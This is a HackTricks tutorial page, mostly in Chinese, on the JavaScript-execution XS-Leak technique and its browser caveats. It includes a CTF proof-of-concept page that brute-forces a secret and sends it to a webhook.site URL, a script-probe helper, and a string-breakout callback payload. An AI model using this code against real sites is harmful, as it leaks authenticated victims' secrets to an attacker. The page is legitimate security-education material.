JavaScript Execution XS Leak
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
这个 XS-Search primitive 将跨域响应是否作为 JavaScript 执行转化为一个Boolean oracle。
通常的设置是:
- Positive state: 目标返回攻击者可控文本或敏感内容,但这些内容不会作为攻击者 JavaScript 执行。
- Negative state: 目标把攻击者可控文本反射到一个会被解析为有效 JavaScript 的位置,因此攻击者可以强制触发一个回调,例如
window.parent.foo()。 - leak: 用经典的
<script src>加载目标,并观察回调是否触发。
这本质上是一个execution oracle,不是 timing oracle。攻击者唯一需要的是一个跨域 script inclusion,其行为会根据 secret 相关分支而不同。
关于通用 XS-Leaks 背景,请参见:
When This Works
当以下所有条件都为真时,这种技术就很实用:
- victim 已对目标 origin 进行了认证。
- 攻击者可以让 victim browser 从目标 origin 请求一个 classic script。
- 一个分支返回的内容是有效的攻击者可控 JavaScript。
- 另一个分支返回的内容不会执行攻击者回调。
实际上,最容易出现的是 search/debug endpoints,它们会:
- 当猜测错误时返回攻击者可控文本
- 当猜测正确时返回不同的 body
- 允许攻击者选择诸如
callback、hint、msg之类的参数,或者一个可反射的 prefix/suffix
Basic Example
服务端代码会尝试将 ${guess} 作为 flag 前缀:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
生成 iframes 到前一个 /guessing 页面以测试每种可能性的主页面:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
攻击者逻辑是:
- 将每个候选项都先标记为 “good”。
- 将目标响应作为 script 加载。
- 如果响应执行了
window.parent.foo(),则将该候选项标记为 wrong。 - 如果没有回调触发,则保留该候选项并继续 brute-forcing。
Minimal Probe Pattern
在许多真实目标中,不需要 iframe。直接包含 script 就足够了:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
如果“wrong guess”分支反映 miss(),那么:
probe(...) === false表示 callback 已执行或加载失败probe(...) === true表示 script 已加载但没有运行攻击者 callback
为了可靠性,请为每次 probe 使用一个全新的 script element,并添加一个cache-buster,例如 ?r=${crypto.randomUUID()}。
Modern Caveats
它必须是 classic script
这个 primitive 依赖浏览器将资源作为 classic script 获取。一个不带 crossorigin 的普通 <script src=...> 会以 no-cors mode 获取,这正是这种老旧模式在跨域场景下仍然有用的原因。
不要为了这个 technique 改成 type="module":
- 跨域 module scripts 需要 CORS
- 许多可作为 classic scripts 包含的目标,用 module 的方式会直接失败
MIME type 和 nosniff 决定 payload 是否执行
当前浏览器比旧文章更严格。如果目标设置了 X-Content-Type-Options: nosniff,浏览器会阻止 MIME type 不是 JavaScript MIME type 的 script response。
这意味着这个 oracle 往往取决于:
- target 是否返回
application/javascript/text/javascript - target 是否返回
text/plain、text/html或 JSON - 是否存在
nosniff
这也是为什么有些 endpoint 只在一个分支里给出 leak:一个 response 被接受为 script,而另一个分支被阻止或以不同方式解析。
CORB 可能改变可观察结果
CORB 又增加了一个需要考虑的分支。如果一个 response 被认为受 CORB 保护,Chromium 可能把它变成一个空的有效 script response,而不是暴露解析失败。因此对于某些 endpoint:
- 一个状态触发正常的 script parse / callback
- 另一个状态变成空 script,只触发
onload
这仍然是一个有用的 oracle,但信号现在是 callback vs no callback 或 onload vs onerror,而不只是“JavaScript 是否执行”。
CSP 可以干掉攻击者可控分支
如果 target response 上有严格的 CSP,当反映出来的分支不再是可执行的 JavaScript 时,这个 primitive 可能失效。2022 到 2024 年的公开 XS-Leak challenge writeups 反复依赖这一点:
script-src 'none'可以迫使攻击者转向直接执行 oracle 之外的路径- CSP/SRI/CSP-report 交互仍然可能创建其他 leak oracles,但那属于不同的页面/techniques
所以当明显的 callback trick 不起作用时,在放弃 endpoint 之前先检查 response headers。
Useful Variants
Callback-parameter endpoints
最方便的目标是接受如下参数的 JSONP 风格或 debug endpoint:
callback=...cb=...jsonp=...hint=...msg=...
如果 “miss” 分支把该值原样反映到可执行 JavaScript 中,而 “hit” 分支返回不同内容,你就能得到一个无需 timing measurement 的直接 Boolean oracle。
Syntax-preserving prefixes and suffixes
有时你无法完全控制 response body,但仍然可以让 negative 分支执行:
- 关闭当前 string 或 function argument
- 注入 callback
- 将尾部字节注释掉
例如,一个被反映的分支像这样:
showResult("<attacker>");
常常可以转化为:
showResult("");window.parent.foo();//");
如果 positive 分支没有反射那个 payload,callback 就会成为 oracle。
Combining with event-based oracles
如果 endpoint 在不同浏览器之间不稳定,把 execution oracle 和本节 index 中已经介绍过的通用 script load events 结合起来:
- callback fired
onloadonerror
当一个分支返回有效 JavaScript,而另一个分支触发 blocked MIME / CORB / CSP 行为时,这一点尤其有用。
Related pages:
Practical Notes
- 优先使用 每个请求 1 bit,并保持 callback side effect 简单。
- 如果你要探测很多候选值,删除之前插入的
<script>elements,或者把每次尝试隔离在一个新的 iframe 中。 - Cache 和 service worker 行为可能污染 oracle;使用 cache-busting。
- 当 negative 分支是 完全由 attacker-controlled JavaScript 组成时,这个 primitive 最强。如果你只能得到部分反射,那么 exploit 就会变成 payload-shaping 问题,而不是 XS-Search 问题。
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


